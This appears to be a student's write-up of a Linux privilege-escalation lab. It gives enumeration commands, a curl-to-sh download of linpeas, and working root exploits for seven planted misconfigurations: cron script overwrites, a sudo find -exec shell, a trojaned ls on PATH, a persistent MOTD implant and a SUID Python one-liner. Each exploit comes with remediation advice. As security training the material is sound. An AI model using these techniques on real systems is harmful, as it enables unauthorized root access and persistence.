Repository navigation
Week 7 Lab
A threat actor starts with an unprivileged shell (for example after phishing or credential theft). The first step is enumeration: mapping what is misconfigured, unusual, or writable.
ssh -p 10001 bthomas@192.168.3.205
id; sudo -l-
ssh -p 10001 bthomas@192.168.3.205opens a remote shell;-pselects the per-container port (ws-01 = 10001, ws-02 = 10002, and so on). Password:ChamplainPickles1. -
idshows uid, gid and groups. Expectuid=1001(bthomas)andgroups=...,1002(lab). Not root, not insudo. -
;runs the next command afterward.sudo -llists what you may run as root without executing anything. (V2 shows up here.)
curl -sL https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
# offline alternative: scp linpeas.sh to the container, then:
bash linpeas.sh-
curldownloads a URL;-ssilences progress output;-Lfollows redirects. -
|pipes the downloaded script straight intosh, which executes it. - linpeas color-codes findings by likelihood of leading to root. Red/yellow items map to this lab's vectors.
This video was recorded of the execution, and was my reference instead of scrolling through the terminal window to see what was what
| linpeas section | Lab vector it reveals |
|---|---|
| SUID binaries | V7 (/opt/lab/bin/python3 stands out from stock /usr/bin/*) |
sudo (sudo -l output) |
V2 (NOPASSWD: /usr/bin/find /opt/lab/tools/*) |
| Cron jobs and writable cron files | V1, V3, V4 (/etc/cron.d/lab-*, world-writable scripts, missing agent binary) |
| Writable PATH dirs / PATH abuse | V5 (/etc/profile.d/lab-path.sh adds /opt/lab/bin) |
| World-writable directories | V1, V4, V5, V6 |
id; sudo -l # who am I, what can I run as root?
find / -perm -4000 -type f 2>/dev/null # SUID binaries -> V7
ls -la /etc/cron.d/ /etc/crontab # root-scheduled jobs -> V1, V3, V4
grep -R "" /etc/cron.d/ 2>/dev/null # which scripts root runs
find /opt /usr/local /etc -writable -type d 2>/dev/null # writable dirs -> V1, V4, V5, V6
find /opt /etc -writable -type f 2>/dev/null # writable root-owned files -> V3
cat /etc/profile.d/*.sh # PATH manipulation -> V5| Command | What it does |
|---|---|
find / -perm -4000 -type f |
Searches the whole filesystem for regular files with the SUID bit (-perm -4000). Expect stock sudo, su, mount, plus the anomaly /opt/lab/bin/python3. |
2>/dev/null |
Redirects the error stream (2) to the discard device so "Permission denied" noise is hidden. |
ls -la /etc/cron.d/ /etc/crontab |
Long listing (-l) including hidden files (-a) of the scheduler's job files. Look for lab-*. |
grep -R "" /etc/cron.d/ |
-R recurses; the empty pattern matches every line, so it prints every job line. |
find ... -writable -type d |
Directories (-type d) that your account may write to. |
find ... -writable -type f |
Regular files you may rewrite. A root-run file you can rewrite is V3. |
cat /etc/profile.d/*.sh |
Prints login-time scripts; the *.sh glob expands to every .sh file. V5 hides here. |
| # | Vector | Where it was found | Evidence |
|---|---|---|---|
| V1 | Writable directory + root cron |
/etc/cron.d/lab-backup, /opt/lab/bin
|
/opt/lab/bin is drwxrwxrwx; root runs backup.sh every 5 min |
| V2 | sudo NOPASSWD wildcard (find) |
sudo -l, /etc/sudoers.d/lab-find
|
(ALL) NOPASSWD: /usr/bin/find /opt/lab/tools/* |
| V3 | World-writable root cron script | /etc/cron.d/lab-rotate |
/opt/lab/scripts/rotate.sh is -rwxrwxrwx
|
| V4 | Missing binary on writable path | /etc/cron.d/lab-agent |
/opt/lab/bin/agent does not exist; directory is 0777 |
| V5 | Root PATH hijack | /etc/profile.d/lab-path.sh |
export PATH="/opt/lab/bin:$PATH" |
| V6 | World-writable MOTD directory | /etc/update-motd.d/ |
Directory is drwxrwxrwx; scripts run as root at login |
| V7 | SUID Python | find / -perm -4000 |
/opt/lab/bin/python3 is -rwsr-xr-x root root
|
Misconfiguration: /opt/lab/bin is mode 0777, and root runs /opt/lab/bin/backup.sh every 5 minutes via /etc/cron.d/lab-backup.
Weakness exploited: The cron schedule and owner are safe, but the contents of the script are not. Because the script and its directory are world-writable, an ordinary user can change what root executes on the next run.
cat /etc/cron.d/lab-backup
ls -la /opt/lab/bin/- The cron line
*/5 * * * * root /opt/lab/bin/backup.shmeans: every 5 minutes, as root, run that script. -
drwxrwxrwxon/opt/lab/binand-rwxrwxrwxonbackup.shmean anyone may modify the script.
cat > /opt/lab/bin/backup.sh <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootshell && chmod u+s /tmp/rootshell
EOF-
cat > file <<'EOF'is a heredoc: it overwrites the file with the lines that follow untilEOF. Quoting'EOF'stops$expansion. -
#!/bin/bashis the shebang that selects the interpreter. -
cp /bin/bash /tmp/rootshellcopies the system shell.&&runs the next command only if the copy succeeded. -
chmod u+s /tmp/rootshellsets the SUID bit. Since cron runs this as root, the copy is root-owned and SUID. Wait up to 5 minutes for the*/5schedule.
/tmp/rootshell -p
id-
-pmakes bash keep its privileged effective UID instead of dropping to your real user. -
idshould printuid=0(root).
ss -plunt with the last line showing you are root and your hostname visible. Run it from the root shell:
ss -plunt
Scripts run by root should be owned by root and mode 0755. Script directories must be root-writable only (0755, root:root). World-writable directories must never sit next to anything root executes.
Misconfiguration: /etc/sudoers.d/lab-find contains:
%lab ALL=(ALL) NOPASSWD: /usr/bin/find /opt/lab/tools/*
Reading it: %lab = group lab; ALL = any host; (ALL) = as any user; NOPASSWD = no password; the rest is the supposedly allowed command.
Weakness exploited: The * wildcard matches any arguments, and find has -exec, which runs arbitrary programs. A "narrow" rule therefore grants a full root shell (documented on GTFOBins).
sudo -lsudo -l lists your sudo rights without running anything.
sudo find /opt/lab/tools/ -exec /bin/bash -p \;
id-
sudo find ...runsfindas root, which the rule allows. -
-exec /bin/bash -p \;runs bash for each result;-ppreserves the root effective UID. -
\;ends the-execcommand; the backslash stops your own shell from consuming the semicolon. - No waiting is needed; sudo grants root immediately.
Show the find command, the id command, root output, and your hostname.
No wildcards in sudoers command lists. Allow exact binaries with fixed arguments, or a reviewed wrapper script. Make sudo -l the first step of any enumeration.
Misconfiguration: /opt/lab/scripts/rotate.sh is mode 0777 and run by root every 5 minutes via /etc/cron.d/lab-rotate.
Weakness exploited: The contents of a root-executed file matter, not just its path. Mode 0777 lets anyone rewrite what root will run. (Lab note from the guide: mode 666 would remove the execute bit and break the benign script, so 777 was required.)
ls -la /opt/lab/scripts/rotate.sh
cat /etc/cron.d/lab-rotate
find / -perm -0002 -type f 2>/dev/null | grep -v -E '^/(proc|sys|dev|run|tmp|var/tmp)'-
-perm -0002matches files with the "other write" bit set (world-writable). -
grep -v -E '^/(proc|sys|dev|run|tmp|var/tmp)'hides expected noisy paths (-vinverts the match,-Eenables extended regex,^anchors to line start).
cat > /opt/lab/scripts/rotate.sh <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootshell && chmod u+s /tmp/rootshell
EOFOnly the contents change, so the file stays executable and no chmod +x is needed. Wait up to 5 minutes.
/tmp/rootshell -p
idOne image showing the output of the script you created, /tmp/rootshell -p, id, and your hostname.
Root-run scripts must be owned by root and mode 0755. Audit cron-referenced files for their modes regularly; a world-writable file referenced from /etc/cron.d/ is an incident, not a finding.
Misconfiguration: /etc/cron.d/lab-agent runs /opt/lab/bin/agent, which does not exist, inside the world-writable /opt/lab/bin.
Weakness exploited: Cron runs whatever is at that path, as root, regardless of who created it. A dangling reference in a location attackers control is an invitation to plant the binary.
cat /etc/cron.d/lab-agent
ls -la /opt/lab/bin/agent
ls -ld /opt/lab/bin-
ls -la /opt/lab/bin/agentreturningNo such file or directoryis the finding. -
ls -ldshows the directory's own attributes (-d) rather than its contents;drwxrwxrwxmeans you can create files there.
cat > /opt/lab/bin/agent <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootshell && chmod u+s /tmp/rootshell
EOF
chmod +x /opt/lab/bin/agentchmod +x is required because a new file has no execute bit and cron will not run a non-executable file. Wait up to 5 minutes.
/tmp/rootshell -p
idOne image showing the output of the agent script you created, /tmp/rootshell -p, id, and your hostname.
Every binary referenced by cron must live in a root-only-writable directory. Monitor for schedule entries that reference missing files.
Misconfiguration: /etc/profile.d/lab-path.sh prepends the world-writable /opt/lab/bin to the login-shell PATH:
export PATH="/opt/lab/bin:$PATH"Weakness exploited: The shell runs the first match for a bare command name. With a writable directory first in root's PATH, a planted ls runs with root privileges whenever root runs ls in a login shell. You are attacking lookup order, not a program.
cat /etc/profile.d/lab-path.sh
echo $PATH
ls -ld /opt/lab/bin
cat > /opt/lab/bin/ls <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootshell && chmod u+s /tmp/rootshell
exec /usr/bin/ls "$@"
EOF
chmod +x /opt/lab/bin/ls-
exec /usr/bin/ls "$@"replaces the script with the reallsand passes along every argument, so the user notices nothing. -
chmod +xis needed, otherwise the shell skips the file and finds the reallsfurther down PATH. Trigger: the payload fires the next time root starts a login shell (for examplesu -,bash -l, or a new SSH session as root) and runs a barels.
Trigger method used: bthomas can't log in as root directly, so I simulated the root login from a root shell I already had via V2. From that shell I ran su - (a root login shell, which applies /etc/profile.d/lab-path.sh) and then ls, which ran my planted script as root.
sudo find /opt/lab/tools/ -exec /bin/bash -p \; # root shell via V2
rm -f /tmp/rootshell # clear the old copy so the timestamp proves this trigger
su - # root login shell
ls # planted ls runs as root
exit # repeat until back at bthomas@ws-01
stat /tmp/rootshell # fresh timestamp, root-owned, SUID (mode 4755)
/tmp/rootshell -p
idstat is used instead of ls -la because the planted ls would run as bthomas and print a cp permission error.
One image showing the output of the planted script in /opt/lab/bin/, /tmp/rootshell -p, id, and your hostname.
PATH for privileged shells must contain only trusted, root-owned directories. sudo does this via secure_path; /etc/profile.d must be audited the same way. Never put world-writable directories in any PATH root inherits.
Misconfiguration: /etc/update-motd.d/ is mode 0777.
Weakness exploited: pam_motd rebuilds the login banner at every SSH login by running the scripts in this directory as root. A writable directory lets you add your own script, which then runs as root on every login until removed (so this is also a persistence lesson).
ls -ld /etc/update-motd.d/
ls -la /etc/update-motd.d/Number prefixes (00-, 10-, 90-) set run order; a 99- name runs last.
cat > /etc/update-motd.d/99-lab-pwn <<'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootshell && chmod u+s /tmp/rootshell
EOF
chmod +x /etc/update-motd.d/99-lab-pwnchmod +x is required because pam_motd only runs executable files. Trigger by logging in again over SSH:
ssh -p 10001 bthomas@192.168.3.205
ls -la /tmp/rootshell
/tmp/rootshell -p
idOne image showing the planted script output, the SSH login, ls -la /tmp/rootshell, /tmp/rootshell -p, id, and your hostname.
The implant survives every login until removed:
rm /etc/update-motd.d/99-lab-pwn/etc/update-motd.d must be root:root 0755. Anything else turns every login into a root execution event for all users.
Misconfiguration: /opt/lab/bin/python3 is a full copy of Python 3.10 with the SUID bit set, owned by root.
Weakness exploited: SUID makes a program run with its owner's privileges. A general-purpose interpreter can open files and run commands, so a SUID Python is effectively a root shell. Legitimate SUID tools like sudo are written to drop privileges; interpreters are not (documented on GTFOBins).
find / -perm -4000 -type f 2>/dev/null
ls -la /opt/lab/bin/python3Stock results are /usr/bin/sudo, /usr/bin/su, /usr/bin/mount. The anomaly is /opt/lab/bin/python3; the s in -rwsr-xr-x is the SUID bit.
/opt/lab/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
id-
-cruns the following text as a Python program. - Single quotes stop your shell from interpreting the Python code.
-
os.setuid(0)promotes the real UID to 0; this is allowed because the effective UID is already 0 via SUID. -
os.system("/bin/bash")starts a shell inside that now-root process.
One image showing the one-liner, the id output (uid=0), and your hostname.
Never set SUID on scripting interpreters; remove it with chmod u-s /opt/lab/bin/python3. Treat any SUID binary outside /usr/bin, /usr/sbin, /bin, /sbin with suspicion.
| # | Vector | Discovery shortcut | Exploit (one line) | Wait | Root achieved |
|---|---|---|---|---|---|
| V1 | Writable dir + root cron | cat /etc/cron.d/lab-backup |
overwrite backup.sh
|
up to 5 min | [ x ] |
| V2 | sudo NOPASSWD find | sudo -l |
sudo find ... -exec /bin/bash -p \; |
none | [ x ] |
| V3 | Writable cron script | find / -perm -0002 -type f |
overwrite rotate.sh
|
up to 5 min | [ x ] |
| V4 | Missing cron binary | cron references nonexistent file | plant /opt/lab/bin/agent
|
up to 5 min | [ x ] |
| V5 | Root PATH hijack | cat /etc/profile.d/lab-path.sh |
plant /opt/lab/bin/ls
|
next root login shell | [ x ] |
| V6 | Writable MOTD dir | ls -ld /etc/update-motd.d |
drop 99-lab-pwn
|
next SSH login | [ x ] |
| V7 | SUID Python | find / -perm -4000 |
python3 -c 'import os; os.setuid(0); ...' |
none | [ x ] |
The host is shared by 25 students, so leave the lab as vulnerable as you found it.
rm -f /tmp/rootshell /tmp/pwned_*
rm -f /etc/update-motd.d/99-lab-pwn
# only if your instructor asks:
rm -f /opt/lab/bin/agent /opt/lab/bin/ls
# restore backup.sh and rotate.sh to their original contents- GTFOBins, "find": https://gtfobins.github.io/gtfobins/find/
- GTFOBins, "python": https://gtfobins.github.io/gtfobins/python/
- PEASS-ng (linpeas.sh): https://github.com/peass-ng/PEASS-ng
- GNU findutils manual: https://www.gnu.org/software/findutils/manual/html_node/find_html/
- sudoers(5): https://www.sudo.ws/docs/man/sudoers.man/
- crontab(5): https://man7.org/linux/man-pages/man5/crontab.5.html
- pam_motd(8): https://man7.org/linux/man-pages/man8/pam_motd.8.html